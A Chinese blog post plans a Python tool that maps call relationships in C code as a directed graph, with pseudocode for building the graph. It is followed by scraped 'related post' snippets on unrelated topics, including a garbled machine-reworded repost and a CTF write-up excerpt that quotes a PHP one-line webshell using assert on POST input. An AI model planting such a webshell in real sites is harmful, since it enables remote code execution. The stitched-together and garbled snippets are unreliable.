C代码分析器(一 开个题)

最近突发奇想,希望能写一个通用的代码分析工具(有点言过其实了,其实是针对C代码的)。这几天看代码看的我头晕眼花,虽然有Source Insight的帮助,仍然觉得很多地方不够智能。现在主要遇到的问题有以下几个:

1,很多函数被定义为宏,然后被调用。这个就需要自己搜索到相应的定义,然后再去寻找调用处。

2,程序的结构中很多用到有限状态机,函数会被放到数组中。会遇到和上面同样的问题。

3,现有的工具无法展示所有函数的调用和被调用关系,让看代码总是盲人摸象,难免会出现疏漏。

所以希望能自己写一个代码分析的工具,可以帮助更快,更清晰的分析代码。现在初步计划使用Python开发,毕竟第三方库多些,开发比较方便。本帖作为项目开始的处女帖,也相当于给自己的项目开个头。现在有了一些基本想法,罗列如下:

需要实现的功能:

1,分析各个C文件中的函数(需要一定的文本分析算法来判断来定位和区分函数定义和函数调用)并存储起来。

2,利用有向图的方式来存储函数见的关系(调用和被调用),通过邻接链表的结构来存储。

3,如果某个函数没有被调用,判断其是否被替换(定义为宏或成为数组元素),并进行相应处理。

分析代码第一步:建立函数调用关系链表。

伪代码:

while(不是最后一个文件中的最后一个函数)

{

current_function=通过文本分析得到的函数名称

为current_function填加子节点(分析current_function中调用的函数)

if(current_function在图中已有存储)

刚才建立的链表放入到图中current_function所在的位置。

else

current_function作为顶级节点放入到图中

}

清理顶级节点(解决上面提出的第三个问题。)

分析代码第二步:显示current_function的调用关系。

函数调用关系图建立完成后,如果要显示current_function的调用关系,只需对图以current_function为起点进行遍历即可。

现在我只是到了上面的几个方面,接下来的实现肯定还要遇到很多问题。我相信办法总比困难多,加油吧。

C代码分析器(一 开个题)

时间: 2024-10-20 06:57:49

C代码分析器(一 开个题)的相关文章

建立标准编码规则-自定义C#代码分析器

1.下载Roslyn的Visual Studio分析器模板插件(VS2015 或VS2017) https://marketplace.visualstudio.com/items?itemName=VisualStudioProductTeam.NETCompilerPlatformSDK 我后来查询到官方说明vs2017已经内嵌了此功能 Want to start developing in C# and Visual Basic? Download Visual Studio 2017,

hdu 1217 Arbitrage 两种算法AC代码,Floyd+Bellman-Ford 大水题一枚 注意是有向图~~

Arbitrage Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 4998    Accepted Submission(s): 2286 Problem Description Arbitrage is the use of discrepancies in currency exchange rates to transform

C代码分析器(一个 公开赛冠军)

最近心血来潮,我希望能写一个通用的代码分析工具(其实这个词有点太.事实上为C代码).看到这几天我看到代码头晕眼花,尽管Source Insight救命,仍然没有足够的智慧思考很多地方. 如今主要遇到的问题有下面几个: 1.非常多函数被定义为宏,然后被调用. 这个就须要自己搜索到对应的定义.然后再去寻找调用处. 2,程序的结构中非常多用到有限状态机,函数会被放到数组中. 会遇到和上面相同的问题. 3.现有的工具无法展示全部函数的调用和被调用关系,让看代码总是盲人摸象,难免会出现疏漏. 所以希望能自

计算开脑题

自己取一个大气又可爱的标题 一.预估与实际 PSP2.1 Personal Software Process Stages 预估耗时(分钟) 实际耗时(分钟) Planning 计划 500 730 ? Estimate ? 估计这个任务需要多少时间 950 920 Development 开发 30 ? Analysis ? 需求分析 (包括学习新技术) 10 13 ? Design Spec ? 生成设计文档 20 16 ? Design Review ? 设计复审 20 43 ? Codi

8人/天,小记一次 JAVA(APP后台) 项目改造 .NET 过程(后台代码已完整开源于 Github)

Github: https://github.com/iccb1013/Jade.Net 我们只消耗了8/人天的时间,完成了全部工作,基于我们 Jade.Net 的开源后台代码,任何小规模的后台管理系统,都可以在极短的时间内完成. 这是我们在 2017 年早些时候开发的一个项目,甲方是一家工艺美术品企业,需要开发一款 APP 展示产品,并引入会员(多级代理),在线下单,返点等功能. 在立项后由于一些原因,选择了使用 Java 来开发后台管理部分,面向 IOS 和 Android 版客户端提供服务

PHP代码分析溯源(第1题)

靶场地址:https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe 靶场显示一段PHP源码,经分析: 1."^"为异或运算符.在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串. 2.$++;这行代码的意思是对变量名为""的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不

WebShell代码分析溯源(第2题)

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数) 因为$array[], POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组 这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马 &

2014ACM/ICPC亚洲赛上海赛区总结

翘了中期检查来参赛心中有些害怕,前一天交待好后,12月5日下午来到上海,一行10人有说有笑,宾馆住下,晚上达神请吃饭,一切顺利. 12月6日下午开幕式,这次的领导讲话比较不同,幽默打趣,也了解了一些ACM在中国发展的历史.热身赛不幸又碰到了人品题,本着黑锅我来背的原则,从第8分钟开始到11分钟交了36发所有情况.后来发现直到第33发才是正确结果,而且由于评测机的问题,那一发成了36发中唯一没有判的.Kuangbin的模板功力深厚,所以其他题都是模板题,很遗憾没能做出来,据说C题是FFT. 12月

超5星难度【微软Core allocation】Coding赛题 - 解题思路&amp;优秀代码分享,邀你来“找茬儿”

6月23日英雄会平台发布了一道难度为超5星的微软比赛题目,截止活动结束共有300多名编程爱好者参与线上答题,而最终通过者仅有7人,通过率仅为2%.为什么成绩如此出人意料?是因为原题的英文描述难以理解?还是题目本身的难度太高让很多人望而生畏知难而退? 为此我们诚邀各路英雄豪杰前来切磋探讨,共同发现: 1. 解题思路:本次大赛一等奖获得者-大连理工大学学生__newSolar,提供两种解题思路: 2. 代码样本:雅虎刷题狂人曹鹏专家的代码将作为样本展示,供学习借鉴: 3."一起来找茬儿":